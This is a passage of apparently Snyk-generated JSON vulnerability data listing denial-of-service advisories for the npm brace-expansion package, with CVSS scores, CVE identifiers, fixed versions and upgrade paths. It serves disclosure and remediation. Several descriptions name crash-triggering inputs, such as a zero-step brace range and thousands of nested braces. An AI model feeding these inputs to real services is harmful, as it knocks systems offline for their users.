"alternativeIds": [], "disclosureTime": "2026-06-30T11:25:01Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-06-30T11:38:19.961909Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:04:38.442182Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "@npmcli/arborist@9.4.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "npm-registry-fetch@19.1.1", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "@npmcli/arborist@9.9.3", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "npm-registry-fetch@19.1.1", "make-fetch-happen@15.0.6", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-18313044", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "bnbdr" ], "semver": { "vulnerable": [ "<1.1.16", ">=2.0.0 <2.1.2", ">=3.0.0 <5.0.8" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.16", "2.1.2", "5.0.8" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-08-05T05:35:10.598547Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-16T14:02:43.227595Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-16T14:02:43.227595Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-05T05:35:10.598547Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()` function and its recursive `expand_` helper, which cap the number of results via the `max` option but do not bound the length of each result string. An attacker can crash the Node process with a fatal, uncatchable out-of-memory error by supplying a pattern that chains many brace groups, such as `{a,b}` repeated, keeping the result count under `max` while each result grows with the group count so total output scales unbounded. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through `minimatch` or `glob` brace patterns.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing small explicit `max` and `maxLength` options to `expand()`, bounding both the number of results and the length of each so total output stays limited.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.8 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5)\n", "epssDetails": { "percentile": "0.49122", "probability": "0.00643", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-14257" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-mh99-v99m-4gvg" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-07-26T09:53:40.727617Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-07-23T15:49:26Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-07-26T09:53:40.907374Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-16T14:02:43.227595Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "@npmcli/arborist@9.4.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "npm-registry-fetch@19.1.1", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "@npmcli/arborist@9.9.3", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "npm-registry-fetch@19.1.1", "make-fetch-happen@15.0.6", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-18512280", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "Alessio Della Libera" ], "semver": { "vulnerable": [ "<1.1.18", ">=2.0.0 <2.1.4", ">=3.0.0 <3.0.6", ">=4.0.0 <5.0.9" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.18", "2.1.4", "3.0.6", "5.0.9" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-08-04T05:26:55.391275Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-25T21:42:52.694864Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-25T21:42:52.694864Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-04T05:26:55.391275Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()`, `expand_()`, `combine()`, and `expandSequence()` functions, which bound the accumulator where results are combined but not the intermediate arrays that feed it. An attacker can crash the process with an uncatchable out-of-memory error, or stall the event loop for minutes, by supplying a pattern with many comma-separated alternatives that each receive an independent `maxLength` allowance and accumulate without a cumulative limit, or a padded sequence whose generation ignores `maxLength` and does work proportional to `max * width`. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through a glob or pattern-matching library.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing an explicitly small `max` together with a small `maxLength` to `expand()`, bounding both the result count and length, since a small `maxLength` alone is insufficient on affected versions where it is applied per alternative rather than cumulatively.\r\n\r\n**Note:** This is a bypass of the fix for the vulnerability described in [CVE-2026-14257](https://security.snyk.io/vuln/SNYK-JS-BRACEEXPANSION-18313044).\n## Remediation\nUpgrade `brace-expansion` to version 1.1.18, 2.1.4, 3.0.6, 5.0.9 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031)\n", "epssDetails": { "percentile": "0.48810", "probability": "0.00647", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-69152" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-rgw5-rvv9-x895" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-08-03T18:50:29.684875Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-08-03T16:35:32Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-08-03T18:50:29.862827Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-25T21:42:52.694864Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "@npmcli/arborist@9.4.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "npm-registry-fetch@19.1.1", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "@npmcli/arborist@9.9.3", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "npm-registry-fetch@19.1.1", "make-fetch-happen@15.0.6", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-20244948", "title": "Uncontrolled Recursion", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Gareth Jones", "Jeremy Katz" ], "semver": { "vulnerable": [ "<1.1.20", ">=2.0.0 <2.1.6", ">=3.0.0 <3.0.8", ">=4.0.0 <5.0.11" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.20", "2.1.6", "3.0.8", "5.0.11" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-10-09T05:49:36.917866Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-10-09T05:49:37.555149Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-10-09T05:49:37.555149Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-10-09T05:49:36.917866Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via uncontrolled recursion in `expand_` when processing deeply nested brace patterns. An attacker can supply approximately 6 KB of deeply nested braces (e.g., `{` repeated ~3,200 times followed by `a,b` and the matching `}` characters) to exhaust the native call stack and crash the process with a `RangeError: Maximum call stack size exceeded`. The `max` and `maxLength` bounds do not prevent this because the stack is exhausted during recursive descent into sub-expansions, before the result set grows.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.20, 2.1.6, 3.0.8, 5.0.11 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db)\n", "epssDetails": { "percentile": "0.26155", "probability": "0.00350", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-102278" ], "CWE": [ "CWE-674" ], "GHSA": [ "GHSA-qhr7-859c-m2p7" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-09-29T07:28:47.469361Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-09-28T23:27:22Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-09-29T07:28:47.672458Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-09T05:49:37.555149Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "@npmcli/arborist@9.4.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "npm-registry-fetch@19.1.1", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "@npmcli/arborist@9.9.3", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "npm-registry-fetch@19.1.1", "make-fetch-happen@15.0.6", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-20244952", "title": "Uncontrolled Recursion", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "baeseungwon1010", "Jeremy Katz" ], "semver": { "vulnerable": [ "<1.1.19", ">=2.0.0 <2.1.5", ">=3.0.0 <3.0.7", ">=4.0.0 <5.0.10" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.19", "2.1.5", "3.0.7", "5.0.10" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p", "title": "Maintainer's Advisory" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-09-29T05:44:15.508690Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-29T19:40:12.310972Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-29T19:40:12.310972Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-29T05:44:15.508690Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via two distinct stack-exhaustion paths in `parseCommaParts`. In the first, the function recurses on the remainder of the string once per brace group, so a chain of approximately 7,000 groups (~29 KB of input) exhausts the native call stack and throws a `RangeError`. In the second, `push.apply` passes one argument per element, meaning a single large comma-separated array inside a brace group overflows the stack at a recursion depth of exactly one, requiring roughly 125,000 comma-separated elements. Neither the `max` nor `maxLength` options can bound either path because the crash occurs during parsing, before any expansion takes place.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.19, 2.1.5, 3.0.7, 5.0.10 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3)\n- [Maintainer's Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p)\n", "epssDetails": { "percentile": "0.26155", "probability": "0.00350", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-102276" ], "CWE": [ "CWE-674" ], "GHSA": [ "GHSA-6j4f-fj2g-mc7p" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-09-29T07:36:51.075985Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-09-28T23:27:21Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-09-29T07:36:51.235635Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-29T19:40:12.310972Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "@npmcli/arborist@9.4.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "npm-registry-fetch@19.1.1", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "@npmcli/arborist@9.9.3", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "npm-registry-fetch@19.1.1", "make-fetch-happen@15.0.6", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-15789759", "title": "Infinite loop", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Subhash Dasyam" ], "semver": { "vulnerable": [ "<1.1.13", ">=2.0.0 <2.0.3", ">=3.0.0 <3.0.2", ">=4.0.0 <5.0.5" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.13", "2.0.3", "3.0.2", "5.0.5" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L107-L113", "title": "Vulnerable Code" }, { "url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L184", "title": "Vulnerable Code" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-04-03T12:57:19.951777Z" }, { "assigner": "NVD", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-04-22T17:49:48.167901Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-25T02:01:42.918000Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-25T02:01:42.918000Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-04-03T12:57:19.951777Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "NVD", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-04-22T17:49:48.167901Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Infinite loop through the `expand` function when processing a brace pattern with a zero step value. An attacker can cause the process to hang and exhaust system memory by supplying specially crafted input, such as `{1..2..0}`. This can lead to significant resource consumption and denial of service. \r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by sanitizing strings passed to `expand` to ensure a step value of `0` is not used.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.13, 2.0.3, 3.0.2, 5.0.5 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L107-L113)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L184)\n", "epssDetails": { "percentile": "0.47050", "probability": "0.00613", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-33750" ], "CWE": [ "CWE-835" ], "GHSA": [ "GHSA-f886-m6hf-6m8v" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-03-27T07:45:56.244707Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-03-26T18:29:42Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-03-27T07:45:56.429154Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-25T02:01:42.918000Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmdiff@8.1.3", "@npmcli/arborist@9.4.0", "pacote@21.4.0", "npm-registry-fetch@19.1.1", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmdiff@8.1.14", "@npmcli/arborist@9.9.3", "pacote@21.5.1", "npm-registry-fetch@19.1.1", "make-fetch-happen@15.0.6", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-16755174", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Subhash Dasyam" ], "semver": { "vulnerable": [ ">=5.0.2 <5.0.6" ] }, "exploit": "Not Defined", "fixedIn": [ "5.0.6" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-jxxr-4gwj-5jf2", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/c0b095bdc52bc4c36dc88deddbadabc49f8371e5", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-06-17T06:25:12.562488Z" }, { "assigner": "NVD", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-06-04T01:21:30.391276Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-25T02:01:42.918521Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-25T02:01:42.918521Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-06-17T06:25:12.562488Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": 